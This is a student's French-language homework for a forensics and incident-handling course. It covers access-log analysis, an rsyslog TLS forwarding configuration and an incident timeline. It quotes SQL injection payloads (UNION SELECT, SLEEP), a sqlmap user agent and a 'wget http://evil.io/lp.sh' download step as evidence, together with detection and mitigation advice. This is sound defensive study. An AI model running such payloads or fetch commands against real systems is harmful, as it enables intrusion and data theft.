

République du Cameroun

Paix-Travail-Patrie

Ministère de l'Enseignement
Supérieur

Université de Garoua

Faculté des Sciences

Département de Math-Info



Republic of Cameroon

Peace-Work-Fatherland

Ministry of Higher Education

Université of Garoua

Faculté of Science

Department of Mathematics and
computer science

UE SIS589: Supervision, Analyse Forensique et Gestion des incidents

EXERCICES DU CHAPITRE 2 : JOURNAUX D'ÉVÉNEMENT : COLLECTE, NORMALISATION ET INTEGRITE

N°	Noms et prénoms	Matricule	NIVEAU
I	GOUTSOUMOU David Baïgora II	CM-UGa-24FS0786	M2 Pro

Année Académique : 2025-2026

TPE SUR LE CHAPITRE 2 : JOURNAUX D'ÉVÉNEMENT :

COLLECTE, NORMALISATION ET INTEGRITE

ENONCE DES EXERCICES

Exercice 2.1 — Analyse d'un fichier access.log.

À partir du fichier fourni en TP, identifiez :

- (a) les IP générant le plus de codes 401 ;
- (b) les URI cibles de tentatives SQLi ;
- (c) les User-Agents suspects.

Produisez une fiche d'alerte de 10 lignes.

Exercice 2.2 — Configuration Rsyslog. Rédigez `/etc/rsyslog.d/50-siem.conf` pour qu'un Ubuntu 22.04 expédie vers le SIEM (10.0.0.5:6514 TCP TLS) tous les journaux de niveau warning et supérieur, avec file d'attente persistante de 10 000 messages.

Exercice 2.3 — Analyse de la timeline. À partir du tableau 2.6 :

- (a) durée entre le premier scan et la première connexion réussie ;
- (b) EID confirmant l'effacement ;
- (c) technique MITRE du mouvement latéral ;
- (d) deux mesures qui auraient interrompu la chaîne dès l'étape 3.

Table 2.6: Extrait de timeline corrélée — incident LiZbiZ-SIS, 12/04/2026

Timestamp UTC	Source	Entité	Événement	MITRE
[2026-04-12 02:47:11]	pfSense	203.0.113.42	Scan SYN port 22, 150 paquets/s	T1595
[2026-04-12 03:14:22]	auth.log	203.0.113.42	7 échecs SSH / 45s (root, admin, backup)	T1110.001
[2026-04-12 03:14:51]	auth.log	203.0.113.42	Authentification SSH réussie (user: backup)	T1078
[2026-04-12 03:17:03]	Sysmon EID 1	backup@srv-web-01	wget http://evil.io/lp.sh exécuté	T1059.004
[2026-04-12 03:17:41]	Sysmon EID 3	srv-web-01	Connexion sortante 185.220.101.5:443	C2 T1071.001
[2026-04-12 03:21:15]	Security EID 4624	srv-web-01	Mouvement latéral SMB vers srv-erp-01	T1021.002
[2026-04-12 03:48:00]	Security EID 1102	srv-erp-01	Journal de sécurité effacé	T1070.001

CORRECTION DES EXERCICES

Exercice 2.1 – 1^{er} Fichier

(a) Identification des IP suspectes (codes 401)

- IP ayant généré des erreurs 401 :
 - 203.0.113.42 → 3 tentatives sur /wp-login.php (échecs d'authentification).
 - 5.188.62.18 → 4 tentatives sur /api/v1/login (brute force).
- Classement décroissant :
 1. 5.188.62.18 (4 tentatives)
 2. 203.0.113.42 (3 tentatives)
- IP la plus active : 5.188.62.18.

(b) Détection de tentatives d'injection SQL (SQLi)

- Deux lignes révélant une SQLi :
 1. GET /products.php?id=15 UNION SELECT ... FROM information_schema.tables--
 2. GET /products.php?id=15' AND SLEEP(5)--
- Type d'attaque :
 - Première ligne : SQLi par UNION SELECT → tentative d'exfiltration de données en listant les tables.
 - Deuxième ligne : SQLi temporelle (time-based) → utilisation de SLEEP(5) pour tester la vulnérabilité.
- Paramètre ciblé : id dans products.php.

(c) Analyse des User-Agents suspects

- **User-Agents identifiés comme malveillants :**
 1. sqlmap/1.7#stable (<https://sqlmap.org>) → C'est un outil automatisé de tests d'injection SQL, utilisé par les attaquants pour exploiter des failles. Sa présence dans les logs est un indicateur direct d'attaque.
 2. Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) → Ce User-Agent imite le robot d'indexation de Google, mais il est utilisé de manière frauduleuse pour accéder à des fichiers sensibles (config.php.bak). C'est un faux Googlebot.
- **Pourquoi suspects ?**
 - sqlmap est un outil d'attaque connu, donc sa détection est un **IoC de compromission avérée**.
 - Le faux Googlebot est un indicateur d'attaque (tentative de reconnaissance ou d'exploitation).
- **Niveau de confiance :**
 - sqlmap → **IoC confirmé** (attaque avérée).
 - Faux Googlebot → **indicateur d'attaque** (activité suspecte, reconnaissance malveillante).

Fiche d'alerte de 10 lignes.

```
\begin{alertebox}
\begin{center}
{\Large \textbf{FICHE D'ALERTE SIS589 -- ANALYSE DE LOGS}} \

\l[0.5em]
\textbf{Date :} 12/04/2026 \hspace{2cm} \textbf{Analyste :} Baigora \

\l[0.5em]
\textbf{Source :} /var/log/apache2/access.log (srv-web-01)
\end{center}

\textbf{Résumé :} Détection de SQLi et brute force sur srv-web-01.

\textbf{Incident 1 :} SQLi par IP 203.0.113.42 sur /products.php?id=15 (UNION SELECT, SLEEP).
\textbf{Incident 2 :} Brute force API par IP 5.188.62.18 sur /api/v1/login (401 répétés).

\textbf{User-Agents suspects :} sqlmap/1.7#stable ; faux Googlebot.

\textbf{Impact potentiel :} Exfiltration de données et compromission d'authentification.

\textbf{Actions immédiates :} Blocage IP, durcissement WAF, surveillance SIEM, alerte SOC.
\end{alertebox}
```

Exercice 2.1 — Analyse d'un fichier access.log

(a) Les IP générant le plus de codes 401 :

- 5.188.62.18 → plusieurs échecs d'authentification (brute force).
- 203.0.113.42 → tentatives répétées sur /wp-login.php. 🖱️ Ces adresses sont les principales sources d'erreurs 401.

(b) Les URI cibles de tentatives SQLi :

- /products.php?id=15 UNION SELECT ...
- /products.php?id=15' AND SLEEP(5)-- 🖱️ Paramètre vulnérable : id dans products.php.

(c) Les User-Agents suspects :

- sqlmap/1.7#stable (outil automatisé d'injection SQL).
- Faux Googlebot (usurpation d'identité pour contourner les filtres).

Fiche d'alerte (10 lignes) :

1. Incident ID : INC-2026-0412-003
2. Date : 12/04/2026

3. Source IP suspectes : 5.188.62.18, 203.0.113.42
4. Nature des erreurs : multiples codes 401 (authentification échouée).
5. URI ciblées : /products.php?id=15 avec injections SQL.
6. Types d'attaque SQLi : UNION SELECT, Time-based (SLEEP).
7. Paramètre vulnérable : id dans products.php.
8. User-Agents suspects : sqlmap/1.7#stable, faux Googlebot.
9. Impact : tentative d'exfiltration de données sensibles via SQLi.
10. Actions recommandées

Exercice 2.2 — Configuration Rsyslog

I. Objectif

L'objectif est de configurer un client Rsyslog sur Ubuntu 22.04 pour transmettre les journaux d'événements vers un serveur SIEM distant. Les contraintes sont les suivantes :

- Destination : 10.0.0.5 sur le port 6514.
- Protocole : TCP avec chiffrement TLS.
- Filtre : Uniquement les messages de niveau warning et supérieur.
- Fiabilité : Mise en place d'une file d'attente persistante (sur disque) de 10 000 messages.

2. Configuration du fichier /etc/rsyslog.d/50-siem.conf

Voici le contenu à insérer dans le fichier de configuration. Cette syntaxe utilise le format moderne (Rainerscript) recommandé pour Rsyslog.

```
# --- Envoi des journaux vers le SIEM ---

# Serveur SIEM : 10.0.0.5
# Port sécurisé : 6514 (TCP + TLS)
# Niveau minimum : warning et supérieur
# File d'attente persistante : 10 000 messages

# 1. Activer TLS

$DefaultNetstreamDriver gtls
$DefaultNetstreamDriverCAFile /etc/rsyslog.d/ca-cert.pem
$DefaultNetstreamDriverCertFile /etc/rsyslog.d/client-cert.pem
$DefaultNetstreamDriverKeyFile /etc/rsyslog.d/client-key.pem

# 2. Définir la file d'attente persistante
```

```

$WorkDirectory /var/spool/rsyslog
$ActionQueueType LinkedList
$ActionQueueFileName siemqueue
$ActionQueueSaveOnShutdown on
$ActionQueueHighWaterMark 8000
$ActionQueueLowWaterMark 2000
$ActionQueueSize 10000
$ActionResumeRetryCount -1

```

3. Filtrer les journaux : warning et plus

```

if $syslogseverity <= 4 then {
    action(
        type="omfwd"
        target="10.0.0.5"
        port="6514"
        protocol="tcp"
        StreamDriver="gtls"
        StreamDriverMode="1"
        StreamDriverAuthMode="x509/name"
        queue.filename="siemqueue"
        queue.type="LinkedList"
        queue.size="10000"
        queue.saveonshutdown="on"
    )
}

```

} Listing 1 – Contenu de /etc/rsyslog.d/50-siem.conf

Explication

1. Activation TLS

- gtls : pilote TLS intégré à rsyslog.
- Les fichiers ca-cert.pem, client-cert.pem, client-key.pem doivent être générés et placés dans /etc/rsyslog.d/.
- Cela garantit que les journaux sont chiffrés entre l'agent et le SIEM.

2. File d'attente persistante

- WorkDirectory définit où rsyslog stocke les fichiers de queue.
- ActionQueueType LinkedList : file dynamique.
- ActionQueueFileName siemqueue : nom du fichier de queue.
- ActionQueueSize 10000 : capacité maximale de 10 000 messages.
- SaveOnShutdown on : les messages non envoyés sont sauvegardés avant arrêt.
- ResumeRetryCount -1 : réessai infini si le SIEM est indisponible.

3. Filtrage des journaux

- `$syslogseverity <= 4` : capture tous les messages de niveau **warning (4), error (3), critical (2), alert (1), emergency (0)**.
- `action(type="omfwd" ...)` : définit la sortie vers le SIEM.
- `target="10.0.0.5"` et `port="6514"` : destination.
- `protocol="tcp" + StreamDriver="gtls"` : envoi sécurisé via TLS.
- Les paramètres de queue sont répétés dans l'action pour garantir la persistance.

Exercice 2.3 —Analyse de la Timeline Incident LiZbiZ-SIS

(a) Durée entre le premier scan et la première connexion réussie

- **Premier événement** : 02:47:11 → le pare-feu pfSense détecte un **scan SYN sur le port 22** avec 150 paquets/s. C'est une phase de reconnaissance active où l'attaquant cherche à identifier les services exposés.
- **Connexion réussie** : 03:14:51 → dans `auth.log`, l'attaquant obtient une authentification SSH valide avec le compte `backup`.
- **Durée calculée** : entre 02:47:11 et 03:14:51 → **27 minutes et 40 secondes**. Cette durée montre que l'attaquant a eu besoin d'un peu moins d'une demi-heure pour passer de la reconnaissance réseau à une compromission réussie. Cela illustre la rapidité d'une attaque automatisée (brute force + exploitation d'un compte faible).

(b) EID confirmant l'effacement

- Dans la timeline, à 03:48:00, sur `srv-erp-01`, on observe un événement **Security EID 1102**.
- Cet identifiant correspond à l'action *Clearing Security Log* dans Windows : l'attaquant a effacé le journal de sécurité pour masquer ses traces. L'EID 1102 est une preuve directe de tentative de dissimulation (*Defense Evasion*), car il supprime les preuves d'intrusion et complique l'investigation forensique.

(c) Technique MITRE du mouvement latéral

- À 03:21:15, un événement **Security EID 4624** indique une connexion SMB depuis srv-web-01 vers srv-erp-01.
- MITRE ATT&CK associe cela à la technique **T1021.002 — SMB/Windows Admin Shares**, qui fait partie de la tactique *Lateral Movement*. ☞ Le mouvement latéral via SMB est une méthode classique pour un attaquant qui a déjà compromis une machine et cherche à pivoter vers une autre dans le réseau interne.

(d) Deux mesures qui auraient interrompu la chaîne dès l'étape 3

- L'étape 3 correspond à 03:17:03, où Sysmon EID 1 enregistre l'exécution de la commande :

```
bash
```

```
wget http://evil.io/lp.sh
```

C'est le moment où l'attaquant télécharge un script malveillant depuis un serveur externe.

- **Mesure 1 : Contrôle d'exécution (AppArmor/SELinux)** → Interdire l'usage de wget ou de tout outil de téléchargement par des comptes non administrateurs. Cela aurait bloqué l'exécution du script.
- **Mesure 2 : Filtrage réseau sortant (Egress Filtering)** → Bloquer les connexions HTTP/HTTPS vers des domaines non approuvés. Le serveur compromis n'aurait pas pu contacter evil.io pour récupérer le payload. ☞ Ces deux mesures auraient stoppé la chaîne d'attaque avant que l'attaquant n'installe son outil de commande et contrôle (C2), empêchant ainsi la suite du scénario (mouvement latéral, effacement des logs).